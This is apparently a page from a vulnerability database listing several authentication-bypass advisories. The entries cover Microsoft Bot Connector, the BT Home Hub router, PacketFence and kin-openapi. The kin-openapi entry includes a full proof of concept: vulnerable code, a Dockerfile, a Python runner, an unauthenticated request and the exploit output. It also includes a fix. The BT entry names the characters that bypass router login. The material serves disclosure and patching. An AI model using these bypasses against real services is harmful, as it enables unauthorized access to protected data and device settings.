      "ranges": [
        {
          "events": [
            {
              "introduced": "4.7.0"
            },
            {
              "fixed": "4.7.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Microsoft.Bot.Connector"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.8.0"
            },
            {
              "fixed": "4.8.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Microsoft.Bot.Connector"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.9.0"
            },
            {
              "fixed": "4.9.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Microsoft.Bot.Connector"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.10.0"
            },
            {
              "fixed": "4.10.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-03-08T15:48:36Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Impact\nA maliciously crafted claim may be incorrectly authenticated by the bot. Impacts bots that are not configured to be used as a Skill. This vulnerability requires an an attacker to have internal knowledge of the bot.\n\n### Patches\nThe problem has been patched in all affected versions. Please see the list of patched versions for the most appropriate one for your individual case.\n\n### Workarounds\nUsers who do not wish or are not able to upgrade can add an authentication configuration containing ClaimsValidator which throws an exception if the Claims are Skill Claims.\n\nFor detailed instructions, see the link in the References section.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [Microsoft Bot Builder SDK](https://github.com/microsoft/botbuilder-dotnet)\n* Email us at [bf-reports@microsoft.com](mailto:bf-reports@microsoft.com)",
  "id": "GHSA-qxx8-292g-2w66",
  "modified": "2021-03-08T15:48:36Z",
  "published": "2021-03-08T15:50:01Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/microsoft/botbuilder-dotnet/security/advisories/GHSA-qxx8-292g-2w66"
    },
    {
      "type": "WEB",
      "url": "https://aka.ms/SkillClaimsValidationDotnet"
    },
    {
      "type": "WEB",
      "url": "https://www.nuget.org/packages/Microsoft.Bot.Connector"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "Improper Authentication"
}

GHSA-R225-67H8-37WH

Vulnerability from github – Published: 2022-05-01 23:39 – Updated: 2025-04-09 03:52
VLAI
Details

cgi/b on the BT Home Hub router allows remote attackers to bypass authentication, and read or modify administrative settings or make arbitrary VoIP telephone calls, by placing a character at the end of the PATH_INFO, as demonstrated by (1) %5C (encoded backslash), (2) '%' (percent), and (3) '~' (tilde). NOTE: the '/' (slash) vector is already covered by CVE-2007-5383.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2008-1334"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2008-03-13T18:44:00Z",
    "severity": "HIGH"
  },
  "details": "cgi/b on the BT Home Hub router allows remote attackers to bypass authentication, and read or modify administrative settings or make arbitrary VoIP telephone calls, by placing a character at the end of the PATH_INFO, as demonstrated by (1) %5C (encoded backslash), (2) \u0027%\u0027 (percent), and (3) \u0027~\u0027 (tilde).  NOTE: the \u0027/\u0027 (slash) vector is already covered by CVE-2007-5383.",
  "id": "GHSA-r225-67h8-37wh",
  "modified": "2025-04-09T03:52:32Z",
  "published": "2022-05-01T23:39:06Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2008-1334"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/41271"
    },
    {
      "type": "WEB",
      "url": "http://www.gnucitizen.org/blog/holes-in-embedded-devices-authentication-bypass-pt-1"
    },
    {
      "type": "WEB",
      "url": "http://www.gnucitizen.org/projects/router-hacking-challenge"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/archive/1/489009/100/0/threaded"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-R267-CJ3P-F63M

Vulnerability from github – Published: 2022-05-17 01:41 – Updated: 2022-05-17 01:41
VLAI
Details

The RADIUS extension in PacketFence before 3.3.0 uses a different user name than is used for authentication for users with custom VLAN assignment extensions, which allows remote attackers to spoof user identities via the User-Name RADIUS attribute.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2012-4741"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2012-08-31T22:55:00Z",
    "severity": "MODERATE"
  },
  "details": "The RADIUS extension in PacketFence before 3.3.0 uses a different user name than is used for authentication for users with custom VLAN assignment extensions, which allows remote attackers to spoof user identities via the User-Name RADIUS attribute.",
  "id": "GHSA-r267-cj3p-f63m",
  "modified": "2022-05-17T01:41:31Z",
  "published": "2022-05-17T01:41:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2012-4741"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/78868"
    },
    {
      "type": "WEB",
      "url": "http://sourceforge.net/mailarchive/message.php?msg_id=29126135"
    },
    {
      "type": "WEB",
      "url": "http://www.packetfence.org/bugs/view.php?id=1390"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-R277-6W6Q-XMQW

Vulnerability from github – Published: 2026-07-24 16:52 – Updated: 2026-07-24 16:52
VLAI
Summary
kin-openapi: ValidationHandler.Load() Fail-Open Authentication Bypass via NoopAuthenticationFunc Default
Details

Summary

ValidationHandler.Load() in getkin/kin-openapi silently replaces a nil AuthenticationFunc with NoopAuthenticationFunc, which always returns nil without performing any credential check. Because this substitution happens unconditionally when the caller omits the field, every OpenAPI security requirement declared in the spec is silently satisfied for unauthenticated requests. An unauthenticated remote attacker can reach handlers for routes whose OpenAPI operation requires an API key, OAuth token, or any other security scheme if the application relies on ValidationHandler as its enforcement middleware.

Details

ValidationHandler is an HTTP middleware exported by openapi3filter that validates incoming requests and responses against a loaded OpenAPI specification. Its Load() method initialises default fields before the handler begins serving:

// openapi3filter/validation_handler.go:47-49
if h.AuthenticationFunc == nil {
    h.AuthenticationFunc = NoopAuthenticationFunc
}

NoopAuthenticationFunc is defined as:

// openapi3filter/validation_handler.go:17-18
func NoopAuthenticationFunc(context.Context, *AuthenticationInput) error { return nil }

It always returns nil, meaning every security scheme check it handles is automatically approved.

When a request arrives, ServeHTTPbeforevalidateRequest assembles a RequestValidationInput with the current AuthenticationFunc (now the no-op) injected into Options:

// openapi3filter/validation_handler.go:91-103
options := &Options{
    AuthenticationFunc: h.AuthenticationFunc,
}
requestValidationInput := &RequestValidationInput{
    Request:    r,
    PathParams: pathParams,
    Route:      route,
    Options:    options,
}
if err = ValidateRequest(r.Context(), requestValidationInput); err != nil {
    return err
}

Inside ValidateRequest, each security requirement calls options.AuthenticationFunc:

// openapi3filter/validate_request.go:436-438
f := options.AuthenticationFunc
if f == nil {
    return ErrAuthenticationServiceMissing   // fail-closed path — never reached via ValidationHandler
}
// ...
// openapi3filter/validate_request.go:497-503
if err := f(ctx, &AuthenticationInput{...}); err != nil {
    return err
}

Because f is the no-op (not nil), the ErrAuthenticationServiceMissing guard is never triggered and f(...) returns nil, clearing the security requirement. Control then proceeds to the protected handler (validation_handler.go:61-62).

The critical contradiction is that callers who use ValidateRequest directly with a nil AuthenticationFunc get fail-closed behavior (ErrAuthenticationServiceMissing), while callers who use the higher-level ValidationHandler with a nil AuthenticationFunc get fail-open behavior. Since omitting AuthenticationFunc is the natural default, the majority of real-world integrations are vulnerable.

Affected source file and line: openapi3filter/validation_handler.go:47–49 (commit 30e2923, tag v0.143.0).

PoC

Environment

Docker (any version supporting multi-stage builds)
Go 1.25 (inside the container via golang:1.25-alpine)
getkin/kin-openapi v0.143.0 (local source copy)

Step 1 — Build the Docker image

From the repository root (parent of vuln-001/):

docker build \
  -t vuln001-auth-bypass-poc \
  -f vuln-001/Dockerfile \
  reports/github_web_233_getkin__kin-openapi

The Dockerfile copies the local kin-openapi source into /kin-openapi/ inside the image and builds a Go binary (/poc-binary) from main.go. The go.mod inside the image uses a replace directive pointing to /kin-openapi, so no network access to the Go module proxy is required.

Step 2 — Run the container

docker run --rm --network none vuln001-auth-bypass-poc

Step 3 (alternative) — Use the Python helper

python3 vuln-001/poc.py --no-cleanup

What the PoC does

main.go creates a temporary OpenAPI 3.0 spec that declares GET /secret as protected by an apiKey security scheme:

paths:
  /secret:
    get:
      security:
        - apiKey: []
components:
  securitySchemes:
    apiKey:
      type: apiKey
      name: X-Api-Key
      in: header

It then constructs a ValidationHandler without setting AuthenticationFunc, calls Load(), and sends a request with no X-Api-Key header:

GET /secret HTTP/1.1
Host: example.test
# X-Api-Key header is intentionally absent

Expected (vulnerable) output

=== CONTRAST: Direct ValidateRequest with nil AuthenticationFunc ===
  Direct ValidateRequest (nil auth) => ERROR: security requirements failed: missing AuthenticationFunc
  -> Fail-CLOSED behavior confirmed: missing auth function is rejected

=== EXPLOIT: ValidationHandler.Load() with nil AuthenticationFunc ===
  OpenAPI spec defines: security: [{apiKey: []}] on GET /secret
  ValidationHandler.AuthenticationFunc: NOT SET (nil)
  Load() will inject NoopAuthenticationFunc, which always returns nil

  Request:  GET /secret  (X-Api-Key header: absent)
  Response: status=200  body="SECRET_DATA\n"

[EXPLOIT SUCCESS] Auth bypass confirmed!
  Protected resource /secret returned SECRET_DATA without credentials.
  ValidationHandler.Load() silently injected NoopAuthenticationFunc.
  Security requirement was bypassed. VULN-001 REPRODUCED.

The contrast block confirms fail-closed behavior when ValidateRequest is called directly. The exploit block confirms fail-open behavior through ValidationHandler. Status 200 and SECRET_DATA are returned without any credential.

Remediation patch

--- a/openapi3filter/validation_handler.go
+++ b/openapi3filter/validation_handler.go
@@
  if h.Handler == nil {
      h.Handler = http.DefaultServeMux
  }
- if h.AuthenticationFunc == nil {
-     h.AuthenticationFunc = NoopAuthenticationFunc
- }
  if h.ErrorEncoder == nil {
      h.ErrorEncoder = DefaultErrorEncoder
  }

After this change, a nil AuthenticationFunc propagates into ValidateRequest, which returns ErrAuthenticationServiceMissing and rejects the request. Callers who genuinely want to skip authentication can still opt in explicitly: h.AuthenticationFunc = openapi3filter.NoopAuthenticationFunc.

Impact

This is an authentication bypass vulnerability (CWE-287). Any application that:

  1. uses openapi3filter.ValidationHandler as its HTTP middleware, and
  2. declares one or more security requirements in its OpenAPI specification, and
  3. does not explicitly set AuthenticationFunc,

is fully exposed. An unauthenticated remote attacker can send requests to any protected endpoint without supplying credentials; the middleware accepts the request and forwards it to the underlying handler as if authentication had succeeded.

Affected parties include all Go services that adopt ValidationHandler as a drop-in validation layer and rely on OpenAPI security declarations for access control without adding a separate authentication layer upstream (e.g., an API gateway or reverse proxy). Because the insecure behavior is the default, developers following the "getting started" path are affected without any additional mistake.

The confidentiality and integrity of data behind secured endpoints are both at high risk. Availability is not directly affected by this vulnerability.

Reproduction artifacts

Dockerfile

FROM golang:1.25-alpine

# Install git (needed by go mod for some packages)
RUN apk add --no-cache git

WORKDIR /workspace

# Copy the vulnerable kin-openapi repository as a local module replacement
COPY repo/ /kin-openapi/

# Set up the PoC Go module
RUN mkdir -p /workspace/poc
WORKDIR /workspace/poc

# Create go.mod that uses the local copy of the vulnerable kin-openapi
RUN cat > go.mod <<'EOF'
module kin-openapi-auth-bypass-poc

go 1.25

require github.com/getkin/kin-openapi v0.143.0

replace github.com/getkin/kin-openapi => /kin-openapi
EOF

# Copy the PoC source (build context is the parent directory of vuln-001/)
COPY vuln-001/main.go /workspace/poc/main.go

# Resolve dependencies and build
RUN go mod tidy && \
    go build -o /poc-binary .

# Run the PoC
CMD ["/poc-binary"]

poc.py

#!/usr/bin/env python3
"""
PoC for VULN-001: ValidationHandler.Load() Fail-Open Auth Bypass via NoopAuthenticationFunc Default
Repository: getkin/kin-openapi v0.143.0
CWE: CWE-287 (Improper Authentication)
CVSS: 9.1 (Critical)

Vulnerability Summary:
    ValidationHandler.Load() silently replaces a nil AuthenticationFunc with NoopAuthenticationFunc.
    NoopAuthenticationFunc always returns nil (no error), so any OpenAPI security requirement
    passes without validation when the user forgets to set AuthenticationFunc.

    Contrast: ValidateRequest() with nil AuthenticationFunc returns ErrAuthenticationServiceMissing
    (fail-closed). ValidationHandler.Load() breaks this guarantee (fail-open).

Usage:
    python3 poc.py [--build-dir <dir>] [--image <name>] [--no-cleanup]
"""

import argparse
import os
import subprocess
import sys
import json

IMAGE_NAME = "vuln001-auth-bypass-poc"
SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__))
REPO_DIR = os.path.join(os.path.dirname(SCRIPT_DIR), "repo")

SUCCESS_MARKER = "[EXPLOIT SUCCESS]"
EXPECTED_STATUS = "status=200"
EXPECTED_BODY = 'body="SECRET_DATA\\n"'


def run(cmd, **kwargs):
    """Run a shell command and return (returncode, stdout, stderr)."""
    print(f"[CMD] {' '.join(cmd)}")
    result = subprocess.run(cmd, capture_output=True, text=True, **kwargs)
    if result.stdout:
        print(result.stdout, end="")
    if result.stderr:
        print(result.stderr, end="", file=sys.stderr)
    return result.returncode, result.stdout, result.stderr


def build_image(build_dir):
    """Build the Docker image containing the PoC binary."""
    print("\n[*] Building Docker image ...")
    rc, stdout, stderr = run([
        "docker", "build",
        "--build-arg", f"REPO_DIR={REPO_DIR}",
        "-t", IMAGE_NAME,
        "-f", os.path.join(build_dir, "Dockerfile"),
        # Build context is the reports root so both Dockerfile and repo/ are reachable
        os.path.dirname(build_dir),
    ])
    if rc != 0:
        print(f"[ERROR] Docker build failed (exit {rc})", file=sys.stderr)
        sys.exit(rc)
    print("[*] Docker build succeeded.")
    return f"docker build -t {IMAGE_NAME} -f {os.path.join(build_dir, 'Dockerfile')} {os.path.dirname(build_dir)}"


def run_container():
    """Run the container and capture output."""
    print("\n[*] Running PoC container ...")
    rc, stdout, stderr = run([
        "docker", "run", "--rm",
        "--network", "none",   # no network access needed
        IMAGE_NAME,
    ])
    combined = stdout + stderr
    return rc, combined


def evaluate(exit_code, output):
    """Determine whether the exploit was confirmed."""
    passed = (
        exit_code == 0
        and SUCCESS_MARKER in output
        and EXPECTED_STATUS in output
        and EXPECTED_BODY in output
    )
    return passed


def cleanup_image():
    """Remove the Docker image."""
    print(f"\n[*] Removing Docker image {IMAGE_NAME} ...")
    run(["docker", "rmi", "-f", IMAGE_NAME])


def main():
    global IMAGE_NAME
    parser = argparse.ArgumentParser(description="VULN-001 Auth Bypass PoC runner")
    parser.add_argument("--build-dir", default=SCRIPT_DIR,
                        help="Directory containing Dockerfile and main.go")
    parser.add_argument("--image", default=IMAGE_NAME,
                        help="Docker image name to build/run")
    parser.add_argument("--no-cleanup", action="store_true",
                        help="Keep the Docker image after the run")
    args = parser.parse_args()
    IMAGE_NAME = args.image

    print("=" * 60)
    print("VULN-001 PoC: Auth Bypass via NoopAuthenticationFunc Default")
    print("=" * 60)
    print(f"  Build dir : {args.build_dir}")
    print(f"  Repo dir  : {REPO_DIR}")
    print(f"  Image     : {IMAGE_NAME}")

    build_cmd = build_image(args.build_dir)
    run_cmd = f"docker run --rm --network none {IMAGE_NAME}"

    exit_code, output = run_container()

    if not args.no_cleanup:
        cleanup_image()

    passed = evaluate(exit_code, output)

    print("\n" + "=" * 60)
    if passed:
        print("[RESULT] PASS — Auth bypass CONFIRMED")
        print("  The protected handler returned SECRET_DATA without credentials.")
        print("  ValidationHandler.Load() injected NoopAuthenticationFunc silently.")
    else:
        print(f"[RESULT] FAIL — Exploit not confirmed (exit={exit_code})")

    print(f"\nContainer exit code : {exit_code}")
    print(f"Success marker found: {SUCCESS_MARKER in output}")
    print(f"Status 200 found    : {EXPECTED_STATUS in output}")
    print(f"Secret body found   : {EXPECTED_BODY in output}")

    # Exit with code that signals pass/fail
    sys.exit(0 if passed else 1)


if __name__ == "__main__":
    main()
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.143.0"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/getkin/kin-openapi"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.144.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-24T16:52:05Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "### Summary\n`ValidationHandler.Load()` in `getkin/kin-openapi` silently replaces a nil `AuthenticationFunc` with `NoopAuthenticationFunc`, which always returns `nil` without performing any credential check. Because this substitution happens unconditionally when the caller omits the field, every OpenAPI `security` requirement declared in the spec is silently satisfied for unauthenticated requests. An unauthenticated remote attacker can reach handlers for routes whose OpenAPI operation requires an API key, OAuth token, or any other security scheme if the application relies on `ValidationHandler` as its enforcement middleware. \n\n### Details\n`ValidationHandler` is an HTTP middleware exported by `openapi3filter` that validates incoming requests and responses against a loaded OpenAPI specification. Its `Load()` method initialises default fields before the handler begins serving:\n\n```go\n// openapi3filter/validation_handler.go:47-49\nif h.AuthenticationFunc == nil {\n    h.AuthenticationFunc = NoopAuthenticationFunc\n}\n```\n\n`NoopAuthenticationFunc` is defined as:\n\n```go\n// openapi3filter/validation_handler.go:17-18\nfunc NoopAuthenticationFunc(context.Context, *AuthenticationInput) error { return nil }\n```\n\nIt always returns `nil`, meaning every security scheme check it handles is automatically approved.\n\nWhen a request arrives, `ServeHTTP` \u2192 `before` \u2192 `validateRequest` assembles a `RequestValidationInput` with the current `AuthenticationFunc` (now the no-op) injected into `Options`:\n\n```go\n// openapi3filter/validation_handler.go:91-103\noptions := \u0026Options{\n    AuthenticationFunc: h.AuthenticationFunc,\n}\nrequestValidationInput := \u0026RequestValidationInput{\n    Request:    r,\n    PathParams: pathParams,\n    Route:      route,\n    Options:    options,\n}\nif err = ValidateRequest(r.Context(), requestValidationInput); err != nil {\n    return err\n}\n```\n\nInside `ValidateRequest`, each security requirement calls `options.AuthenticationFunc`:\n\n```go\n// openapi3filter/validate_request.go:436-438\nf := options.AuthenticationFunc\nif f == nil {\n    return ErrAuthenticationServiceMissing   // fail-closed path \u2014 never reached via ValidationHandler\n}\n// ...\n// openapi3filter/validate_request.go:497-503\nif err := f(ctx, \u0026AuthenticationInput{...}); err != nil {\n    return err\n}\n```\n\nBecause `f` is the no-op (not `nil`), the `ErrAuthenticationServiceMissing` guard is never triggered and `f(...)` returns `nil`, clearing the security requirement. Control then proceeds to the protected handler (`validation_handler.go:61-62`).\n\nThe critical contradiction is that callers who use `ValidateRequest` directly with a nil `AuthenticationFunc` get fail-closed behavior (`ErrAuthenticationServiceMissing`), while callers who use the higher-level `ValidationHandler` with a nil `AuthenticationFunc` get fail-open behavior. Since omitting `AuthenticationFunc` is the natural default, the majority of real-world integrations are vulnerable.\n\nAffected source file and line: `openapi3filter/validation_handler.go:47\u201349` (commit `30e2923`, tag `v0.143.0`).\n\n### PoC\n**Environment**\n\n```\nDocker (any version supporting multi-stage builds)\nGo 1.25 (inside the container via golang:1.25-alpine)\ngetkin/kin-openapi v0.143.0 (local source copy)\n```\n\n**Step 1 \u2014 Build the Docker image**\n\nFrom the repository root (parent of `vuln-001/`):\n\n```bash\ndocker build \\\n  -t vuln001-auth-bypass-poc \\\n  -f vuln-001/Dockerfile \\\n  reports/github_web_233_getkin__kin-openapi\n```\n\nThe `Dockerfile` copies the local `kin-openapi` source into `/kin-openapi/` inside the image and builds a Go binary (`/poc-binary`) from `main.go`. The `go.mod` inside the image uses a `replace` directive pointing to `/kin-openapi`, so no network access to the Go module proxy is required.\n\n**Step 2 \u2014 Run the container**\n\n```bash\ndocker run --rm --network none vuln001-auth-bypass-poc\n```\n\n**Step 3 (alternative) \u2014 Use the Python helper**\n\n```bash\npython3 vuln-001/poc.py --no-cleanup\n```\n\n**What the PoC does**\n\n`main.go` creates a temporary OpenAPI 3.0 spec that declares `GET /secret` as protected by an `apiKey` security scheme:\n\n```yaml\npaths:\n  /secret:\n    get:\n      security:\n        - apiKey: []\ncomponents:\n  securitySchemes:\n    apiKey:\n      type: apiKey\n      name: X-Api-Key\n      in: header\n```\n\nIt then constructs a `ValidationHandler` **without** setting `AuthenticationFunc`, calls `Load()`, and sends a request with no `X-Api-Key` header:\n\n```http\nGET /secret HTTP/1.1\nHost: example.test\n# X-Api-Key header is intentionally absent\n```\n\n**Expected (vulnerable) output**\n\n```\n=== CONTRAST: Direct ValidateRequest with nil AuthenticationFunc ===\n  Direct ValidateRequest (nil auth) =\u003e ERROR: security requirements failed: missing AuthenticationFunc\n  -\u003e Fail-CLOSED behavior confirmed: missing auth function is rejected\n\n=== EXPLOIT: ValidationHandler.Load() with nil AuthenticationFunc ===\n  OpenAPI spec defines: security: [{apiKey: []}] on GET /secret\n  ValidationHandler.AuthenticationFunc: NOT SET (nil)\n  Load() will inject NoopAuthenticationFunc, which always returns nil\n\n  Request:  GET /secret  (X-Api-Key header: absent)\n  Response: status=200  body=\"SECRET_DATA\\n\"\n\n[EXPLOIT SUCCESS] Auth bypass confirmed!\n  Protected resource /secret returned SECRET_DATA without credentials.\n  ValidationHandler.Load() silently injected NoopAuthenticationFunc.\n  Security requirement was bypassed. VULN-001 REPRODUCED.\n```\n\nThe contrast block confirms fail-closed behavior when `ValidateRequest` is called directly. The exploit block confirms fail-open behavior through `ValidationHandler`. Status 200 and `SECRET_DATA` are returned without any credential.\n\n**Remediation patch**\n\n```diff\n--- a/openapi3filter/validation_handler.go\n+++ b/openapi3filter/validation_handler.go\n@@\n  if h.Handler == nil {\n      h.Handler = http.DefaultServeMux\n  }\n- if h.AuthenticationFunc == nil {\n-     h.AuthenticationFunc = NoopAuthenticationFunc\n- }\n  if h.ErrorEncoder == nil {\n      h.ErrorEncoder = DefaultErrorEncoder\n  }\n```\n\nAfter this change, a nil `AuthenticationFunc` propagates into `ValidateRequest`, which returns `ErrAuthenticationServiceMissing` and rejects the request. Callers who genuinely want to skip authentication can still opt in explicitly: `h.AuthenticationFunc = openapi3filter.NoopAuthenticationFunc`.\n\n### Impact\nThis is an **authentication bypass** vulnerability (CWE-287). Any application that:\n\n1. uses `openapi3filter.ValidationHandler` as its HTTP middleware, and\n2. declares one or more `security` requirements in its OpenAPI specification, and\n3. does **not** explicitly set `AuthenticationFunc`,\n\nis fully exposed. An unauthenticated remote attacker can send requests to any protected endpoint without supplying credentials; the middleware accepts the request and forwards it to the underlying handler as if authentication had succeeded.\n\nAffected parties include all Go services that adopt `ValidationHandler` as a drop-in validation layer and rely on OpenAPI `security` declarations for access control without adding a separate authentication layer upstream (e.g., an API gateway or reverse proxy). Because the insecure behavior is the default, developers following the \"getting started\" path are affected without any additional mistake.\n\nThe confidentiality and integrity of data behind secured endpoints are both at high risk. Availability is not directly affected by this vulnerability.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\nFROM golang:1.25-alpine\n\n# Install git (needed by go mod for some packages)\nRUN apk add --no-cache git\n\nWORKDIR /workspace\n\n# Copy the vulnerable kin-openapi repository as a local module replacement\nCOPY repo/ /kin-openapi/\n\n# Set up the PoC Go module\nRUN mkdir -p /workspace/poc\nWORKDIR /workspace/poc\n\n# Create go.mod that uses the local copy of the vulnerable kin-openapi\nRUN cat \u003e go.mod \u003c\u003c\u0027EOF\u0027\nmodule kin-openapi-auth-bypass-poc\n\ngo 1.25\n\nrequire github.com/getkin/kin-openapi v0.143.0\n\nreplace github.com/getkin/kin-openapi =\u003e /kin-openapi\nEOF\n\n# Copy the PoC source (build context is the parent directory of vuln-001/)\nCOPY vuln-001/main.go /workspace/poc/main.go\n\n# Resolve dependencies and build\nRUN go mod tidy \u0026\u0026 \\\n    go build -o /poc-binary .\n\n# Run the PoC\nCMD [\"/poc-binary\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC for VULN-001: ValidationHandler.Load() Fail-Open Auth Bypass via NoopAuthenticationFunc Default\nRepository: getkin/kin-openapi v0.143.0\nCWE: CWE-287 (Improper Authentication)\nCVSS: 9.1 (Critical)\n\nVulnerability Summary:\n    ValidationHandler.Load() silently replaces a nil AuthenticationFunc with NoopAuthenticationFunc.\n    NoopAuthenticationFunc always returns nil (no error), so any OpenAPI security requirement\n    passes without validation when the user forgets to set AuthenticationFunc.\n\n    Contrast: ValidateRequest() with nil AuthenticationFunc returns ErrAuthenticationServiceMissing\n    (fail-closed). ValidationHandler.Load() breaks this guarantee (fail-open).\n\nUsage:\n    python3 poc.py [--build-dir \u003cdir\u003e] [--image \u003cname\u003e] [--no-cleanup]\n\"\"\"\n\nimport argparse\nimport os\nimport subprocess\nimport sys\nimport json\n\nIMAGE_NAME = \"vuln001-auth-bypass-poc\"\nSCRIPT_DIR = os.path.dirname(os.path.abspath(__file__))\nREPO_DIR = os.path.join(os.path.dirname(SCRIPT_DIR), \"repo\")\n\nSUCCESS_MARKER = \"[EXPLOIT SUCCESS]\"\nEXPECTED_STATUS = \"status=200\"\nEXPECTED_BODY = \u0027body=\"SECRET_DATA\\\\n\"\u0027\n\n\ndef run(cmd, **kwargs):\n    \"\"\"Run a shell command and return (returncode, stdout, stderr).\"\"\"\n    print(f\"[CMD] {\u0027 \u0027.join(cmd)}\")\n    result = subprocess.run(cmd, capture_output=True, text=True, **kwargs)\n    if result.stdout:\n        print(result.stdout, end=\"\")\n    if result.stderr:\n        print(result.stderr, end=\"\", file=sys.stderr)\n    return result.returncode, result.stdout, result.stderr\n\n\ndef build_image(build_dir):\n    \"\"\"Build the Docker image containing the PoC binary.\"\"\"\n    print(\"\\n[*] Building Docker image ...\")\n    rc, stdout, stderr = run([\n        \"docker\", \"build\",\n        \"--build-arg\", f\"REPO_DIR={REPO_DIR}\",\n        \"-t\", IMAGE_NAME,\n        \"-f\", os.path.join(build_dir, \"Dockerfile\"),\n        # Build context is the reports root so both Dockerfile and repo/ are reachable\n        os.path.dirname(build_dir),\n    ])\n    if rc != 0:\n        print(f\"[ERROR] Docker build failed (exit {rc})\", file=sys.stderr)\n        sys.exit(rc)\n    print(\"[*] Docker build succeeded.\")\n    return f\"docker build -t {IMAGE_NAME} -f {os.path.join(build_dir, \u0027Dockerfile\u0027)} {os.path.dirname(build_dir)}\"\n\n\ndef run_container():\n    \"\"\"Run the container and capture output.\"\"\"\n    print(\"\\n[*] Running PoC container ...\")\n    rc, stdout, stderr = run([\n        \"docker\", \"run\", \"--rm\",\n        \"--network\", \"none\",   # no network access needed\n        IMAGE_NAME,\n    ])\n    combined = stdout + stderr\n    return rc, combined\n\n\ndef evaluate(exit_code, output):\n    \"\"\"Determine whether the exploit was confirmed.\"\"\"\n    passed = (\n        exit_code == 0\n        and SUCCESS_MARKER in output\n        and EXPECTED_STATUS in output\n        and EXPECTED_BODY in output\n    )\n    return passed\n\n\ndef cleanup_image():\n    \"\"\"Remove the Docker image.\"\"\"\n    print(f\"\\n[*] Removing Docker image {IMAGE_NAME} ...\")\n    run([\"docker\", \"rmi\", \"-f\", IMAGE_NAME])\n\n\ndef main():\n    global IMAGE_NAME\n    parser = argparse.ArgumentParser(description=\"VULN-001 Auth Bypass PoC runner\")\n    parser.add_argument(\"--build-dir\", default=SCRIPT_DIR,\n                        help=\"Directory containing Dockerfile and main.go\")\n    parser.add_argument(\"--image\", default=IMAGE_NAME,\n                        help=\"Docker image name to build/run\")\n    parser.add_argument(\"--no-cleanup\", action=\"store_true\",\n                        help=\"Keep the Docker image after the run\")\n    args = parser.parse_args()\n    IMAGE_NAME = args.image\n\n    print(\"=\" * 60)\n    print(\"VULN-001 PoC: Auth Bypass via NoopAuthenticationFunc Default\")\n    print(\"=\" * 60)\n    print(f\"  Build dir : {args.build_dir}\")\n    print(f\"  Repo dir  : {REPO_DIR}\")\n    print(f\"  Image     : {IMAGE_NAME}\")\n\n    build_cmd = build_image(args.build_dir)\n    run_cmd = f\"docker run --rm --network none {IMAGE_NAME}\"\n\n    exit_code, output = run_container()\n\n    if not args.no_cleanup:\n        cleanup_image()\n\n    passed = evaluate(exit_code, output)\n\n    print(\"\\n\" + \"=\" * 60)\n    if passed:\n        print(\"[RESULT] PASS \u2014 Auth bypass CONFIRMED\")\n        print(\"  The protected handler returned SECRET_DATA without credentials.\")\n        print(\"  ValidationHandler.Load() injected NoopAuthenticationFunc silently.\")\n    else:\n        print(f\"[RESULT] FAIL \u2014 Exploit not confirmed (exit={exit_code})\")\n\n    print(f\"\\nContainer exit code : {exit_code}\")\n    print(f\"Success marker found: {SUCCESS_MARKER in output}\")\n    print(f\"Status 200 found    : {EXPECTED_STATUS in output}\")\n    print(f\"Secret body found   : {EXPECTED_BODY in output}\")\n\n    # Exit with code that signals pass/fail\n    sys.exit(0 if passed else 1)\n\n\nif __name__ == \"__main__\":\n    main()\n```",
  "id": "GHSA-r277-6w6q-xmqw",
  "modified": "2026-07-24T16:52:05Z",
  "published": "2026-07-24T16:52:05Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/getkin/kin-openapi/security/advisories/GHSA-r277-6w6q-xmqw"
    },
    {
      "type": "WEB",
      "url": "https://github.com/getkin/kin-openapi/commit/f0407d53b0730280266f454b755010e7eeb985da"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/getkin/kin-openapi"
    },
    {
      "type": "WEB",
      "url": "https://github.com/getkin/kin-openapi/releases/tag/v0.144.0"
    }
  ],
